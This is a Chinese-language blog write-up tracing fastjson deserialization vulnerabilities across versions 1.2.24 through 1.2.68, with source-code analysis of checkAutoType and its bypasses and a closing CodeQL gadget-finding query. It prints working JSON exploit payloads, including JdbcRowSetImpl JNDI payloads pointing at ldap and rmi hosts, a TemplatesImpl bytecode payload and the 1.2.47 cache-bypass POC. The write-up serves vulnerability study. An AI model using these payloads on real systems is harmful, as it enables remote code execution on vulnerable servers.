fastjson記錄

来源:https://www.cnblogs.com/sentient-being/p/18084972
-Advertisement-
Play Games

參考指南 fastjson:我一路向北,離開有你的季節 | 素十八 (su18.org) Java 反序列化漏洞始末(3)— fastjson - 淺藍 's blog (b1ue.cn) 梅子酒の筆記本 (meizjm3i.github.io) fastjson基礎 早期版本的 fastjson ...


參考指南

fastjson:我一路向北,離開有你的季節 | 素十八 (su18.org)

Java 反序列化漏洞始末(3)— fastjson - 淺藍 's blog (b1ue.cn)

梅子酒の筆記本 (meizjm3i.github.io)

fastjson基礎

早期版本的 fastjson 的框架圖

fastjson 功能要點:

  • fastjson 在創建一個類實例時會通過反射調用類中符合條件的 getter/setter 方法以及構造方法,其中

    • getter 方法需滿足條件:方法名長於 4、不是靜態方法、以 get 開頭且第4位是大寫字母、方法不能有參數傳入、繼承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此屬性沒有 setter 方法;
    • setter 方法需滿足條件:方法名長於 4,以 set 開頭且第4位是大寫字母、非靜態方法、返回類型為 void 或當前類、參數個數為 1 個。具體邏輯在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
    • 構造方法:優先選無參構造,沒有無參構造會選取唯一的構造方法。如有多個構造方法,優先選參數最多的public構造方法。如參數最多的構造方法有多個則隨機選取一個構造方法。如果被實例化的是靜態內部類,也可以忽視修飾。如果被實例化的是非public類,構造方法里的的參數類型仍然可以進一步反序列化
    • public field參數類型以及靜態代碼塊;
  • fastjson 在為類屬性尋找 get/set 方法時,調用函數 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,會忽略 _|- 字元串,也就是說哪怕你的欄位名叫 _a_g_e_,getter 方法為 getAge(),fastjson 也可以找得到,在 1.2.36 版本及後續版本還可以支持同時使用 _- 進行組合混淆。

  • 如果目標類中私有變數沒有 setter 方法,但是在反序列化時仍想給這個變數賦值,則需要使用 Feature.SupportNonPublicField 參數。

漏洞分析

早期

經典利用有兩條利用鏈

  • JdbcRowSetImpl(JNDI) (lookup,最常見)

  • TemplatesImpl(Feature.SupportNonPublicField)(jdk7u21的利用鏈觸發方式)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADQA...CJAAk="],
	"_name": "hello",
	"_tfactory": {},
	"_outputProperties": {},
}

分析

com.alibaba.fastjson.JSON#parse(java.lang.String, int)中的parse方法實例化一個DefaultJSONParser對象並調用parse方法,之後跟進

DefaultJSONParser會初始化lexer進行不同操作,這個 lexer 屬性實際上是在 DefaultJSONParser 對象被實例化的時候創建的,初始化了個JSONScanner對象

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

因為在DefaultJSONParser操作中可明顯看到token為12

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object),

case 12:
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    return this.parseObject((Map)object, fieldName);

這裡new 了一個 JSONObject 對象之後進入parseObject方法

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),檢測json格式,並對下個字元進行判斷。

進行判斷後,獲取@type對應值,之後使用loadClass進行裝載。之後getDeserializer獲取序列化對象,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)最終進行對其進行反射調用setter操作執行漏洞代碼;

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            this.setResolveStatus(2);
            if (this.context != null && !(fieldName instanceof Integer)) {
                this.popContext();
            }

            if (object.size() > 0) {
                instance = TypeUtils.cast(object, clazz, this.config);
                this.parseObject(instance);
                thisObj = instance;
                return thisObj;
            }

            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),只要存在就會緩存到mappings里;

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);    // mappings 里緩存了一些常用的基本類型,com.sun.rowset.JdbcRowSetImpl肯定是不在這裡的
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {            // 最終走到 最後一個else分支里
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);    // 載入類
                    mappings.put(className, clazz); //將類對象緩存在 mappings 對象
                    return clazz;
                }
            } catch (Throwable var5) {
                ;
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var4) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}

中期修複

1.2.25版本更新中新增autoTypeSupport預設為false,將不支持指定類的反序列化。並通過checkAutoType函數對載入類進行黑名單+白名單驗證;

獲取類對象的方法由原來的TypeUtils.loadClass替換為了checkAutoType

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

com.alibaba.fastjson.parser.ParserConfig#checkAutoType,

  1. 如果開啟了 autoType,先判斷類名是否在白名單中,如果在,就使用 TypeUtils.loadClass 載入,然後使用黑名單判斷類名的開頭,如果匹配就拋出異常。
  2. TypeUtils.mappings 中和 deserializers 中嘗試查找要反序列化的類,存在則return;
  3. 如果沒開啟 autoType ,則是先使用黑名單匹配,再使用白名單匹配和載入。最後,如果要反序列化的類和黑白名單都未匹配時,只有開啟了 autoType 或者 expectClass 不為空也就是指定了 Class 對象時才會調用 TypeUtils.loadClass 載入。因此中期的相關漏洞基本集中於此;

TypeUtils.loadClass的方法和checkAutoType存在判斷差異導致了繞過;(需要開啟autoType),調用loadClass方法是迴圈調用,並且第二個'['也可以進行繞過

Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;

"[com.sun.rowset.JdbcRowSetImpl"[

if (className != null && className.length() != 0) {
    Class<?> clazz = (Class)mappings.get(className);
    if (clazz != null) {
        return clazz;
    } else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    } else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } else {
        try {

之後再1.2.42中延續之前檢測模式並且將黑名單採用hash方式,避免了反向研究;

還有就是針對loadClass的修補,以及相關黑名單的添加;

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

fastjson-1.2.47

到了1.2.47,出現了部分通殺AutoTypeSupport利用漏洞;

影響版本:1.2.25 <= fastjson <= 1.2.32 未開啟 AutoTypeSupport
影響版本:1.2.33 <= fastjson <= 1.2.47

POC:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.165.93.31:1090/evil",
        "autoCommit":"true"
    }
}

以上我們可以看到是解析兩個對象,第一個是java.lang.Class,其不在黑名單,因此checkAutoType會順利通過;

由前文的checkAutoType邏輯可以發現在兩次AutoTypeSupport判斷中間存在緩存讀取的邏輯;而本次的繞過邏輯也主要集中在此;至於影響版本的差異主要是AutoTypeSupport開啟的黑名單判斷中增加了TypeUtils.mappings是否存在該類緩存的判斷。

  • deserializers 位於 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一個 IdentityHashMap;這個map的key為各種Class類型,value為其對應的反序列化處理類。賦值的函數有:
    • getDeserializer():這個類用來載入一些特定類,以及有 JSONType 註解的類,在 put 之前都有類名及相關信息的判斷,無法為我們所用。
    • initDeserializers():無入參,在構造方法中調用,寫死一些認為沒有危害的固定常用類,無法為我們所用。
    • putDeserializer():被前兩個函數調用,我們無法控制入參。
  • TypeUtils.getClassFromMapping(typeName)。這個方法從 TypeUtils.mappings 中取值,這是一個 ConcurrentHashMap 對象
    • addBaseClassMappings():無入參,載入
    • loadClass():關鍵函數

關註com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,這個類主要用於處理特定功能的反序列化類;包括Class.calss類,因此成為入口

com.alibaba.fastjson.serializer.MiscCodec#deserialze

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

因此,當1.2.32之前版本需要AutoTypeSupport為false,才能走到獲取緩存mapping的操作,而33-47的版本因為在AutoTypeSupport第一步檢查中mapping判斷多了一步緩存檢查,導致了繞過;

fastjson-1.2.68

影響版本:fastjson <= 1.2.68
描述:利用 expectClass 繞過 checkAutoType() ,實際上也是為了繞過安全檢查的思路的延伸。主要使用 ThrowableAutoCloseable 進行繞過。

47之後進行了修複,cache設置為false,並且loadClass設置為預設調用不緩存。

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

1.2.68新增了個安全控制點sfaeMode,開啟safeMode表示完全禁用autoType;

checkAutoType() 函數中有這樣的邏輯:如果函數有 expectClass 入參,且我們傳入的類名是 expectClass 的子類或實現,並且不在黑名單中,就可以通過 checkAutoType() 的安全檢測。並且會添加入緩存mappings中,進而後續思路就如1.2.47;

if (clazz != null) {
    if (jsonType) {
        TypeUtils.addMapping(typeName, clazz);
        return clazz;
    }

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
            ) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
        if (expectClass.isAssignableFrom(clazz)) {
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }

可控expectClass入參的方法:

  • ThrowableDeserializer#deserialze(),需要為Throwable子類
  • JavaBeanDeserializer#deserialze() AutoCloseable白名單,其子類

展望

codeql利用挖掘fastjson

漏洞分析 | 利用 CodeQL 分析 fastjson 1.2.80 利用鏈-安全客 - 安全資訊平臺 (anquanke.com)

class ThrowableClass extends Class {
    ThrowableClass() {
        this.getASupertype*().hasQualifiedName("java.lang", "Throwable")
    }
}

Field getPublicFieldFromClass(Class cl) {
    exists(Field field| 
        field.getDeclaringType() = cl
        and field.getAModifier().getName() = "public"
        and result = field
    )
}

Parameter getParameterFromConstructor(Class cl) {
    exists(Constructor constructor, Parameter p | 
        constructor = cl.getAConstructor()
        and constructor.getNumberOfParameters() = max(int i | cl.getAConstructor().getNumberOfParameters() = i | i)
        and p = constructor.getAParameter()
        and result = p
    )
}


class NewInstaceMethod extends Method {
    NewInstaceMethod() {
        exists(GenericClass gclass |
            this.getName() = "newInstance"
            and gclass.getQualifiedName() = "java.lang.reflect.Constructor"
            and this.getDeclaringType().getSourceDeclaration() = gclass
        )
    }
}


query predicate edges(Callable a, Callable b) { 
    a.polyCalls(b)
}


predicate isExcludeClass(RefType type) {
    not (
        type.getQualifiedName() in [
            "java.lang.Object", 
            "java.lang.String",
            "java.lang.Number",
            "java.lang.Integer",
            "java.lang.Class"
        ]
    )
}

from ThrowableClass tclass, Class sourceClass, SetterMethod setter, NewInstaceMethod method, Constructor constructor
where (
    sourceClass = getPublicFieldFromClass(tclass).getType().(Class)
    or (
        setter.getDeclaringType() = tclass
        and sourceClass = setter.getField().getType().(Class)
    )
    or sourceClass = getParameterFromConstructor(tclass).getType().(Class)
) and isExcludeClass(sourceClass)
and isExcludeClass(sourceClass.getASubtype*())
and constructor = sourceClass.getASubtype*().getAConstructor()
and edges+(constructor, method)
select constructor, constructor, method, "Fastjson Gadget"

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 拓展閱讀 Devops-01-devops 是什麼? Devops-02-Jpom 簡而輕的低侵入式線上構建、自動部署、日常運維、項目監控軟體 代碼質量管理 SonarQube-01-入門介紹 項目管理平臺-01-jira 入門介紹 缺陷跟蹤管理系統,為針對缺陷管理、任務追蹤和項目管理的商業性應用軟 ...
  • 概述:C++中模板必須在頭文件中實現,因為編譯器需要可見的實現以生成模板具體實例的代碼。通過頭文件,確保模板在每個編譯單元中都能被正確展開,提高可維護性。 在C++中,模板只能在頭文件中實現的主要原因是編譯器在使用模板時需要生成對應的代碼,而這部分代碼必須在編譯時可見。以下是詳細的解釋和示例。 基礎 ...
  • 概述:在C++中,儘管存在技巧在其範圍之外訪問局部變數的記憶體,但這是不安全和易導致未定義行為的做法。通過指針或動態記憶體分配可能違反變數的生命周期和作用域規則,應當避免使用以確保代碼安全性。 在C++中,局部變數的生命周期和作用域限制了它們的訪問範圍,通常不應該在其範圍之外訪問其記憶體。然而,通過一些技 ...
  • java 實現郵件推送 Java實現郵件推送功能 一、引入依賴 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-email</artifactId> <version>1.4</version> </dep ...
  • C++ 簡介 什麼是 C++? C++ 是一種跨平臺的編程語言,可用於創建高性能應用程式。 C++ 是由 Bjarne Stroustrup 開發的,作為 C 語言的擴展。 C++ 為程式員提供了對系統資源和記憶體的高級控制。 該語言在 2011 年、2014 年、2017 年和 2020 年進行了 ...
  • https://leetcode.cn/problems/product-of-array-except-self/description/?envType=study-plan-v2&envId=top-interview-150 問題在於不使用除法並且空間複雜度為O(1),當第一次從頭開始遍歷時 ...
  • 車輛出險報告查詢功能一直以來都是車主們關註的重點,畢竟瞭解一輛車的出險、理賠和事故記錄對於購車和保險的選擇都有著重要影響。而今天,我將向大家介紹一款實用的API介面,通過提供車輛出險報告查詢的功能,幫助車主們快速瞭解車輛的歷史記錄。 這個API介面的使用非常簡單方便,只需要提供車輛的VIN碼和行駛證 ...
  • 你好,這裡是codetrend專欄“SpringCloud2023實戰”。歡迎點擊關註查看往期文章。 註冊中心在前文提到有很多選型,在這裡以Spring Cloud Zookeeper為例說明註冊中心的集成和使用。 選擇Spring Cloud Zookeeper作為註冊中心原因如下: 依賴更少,只 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...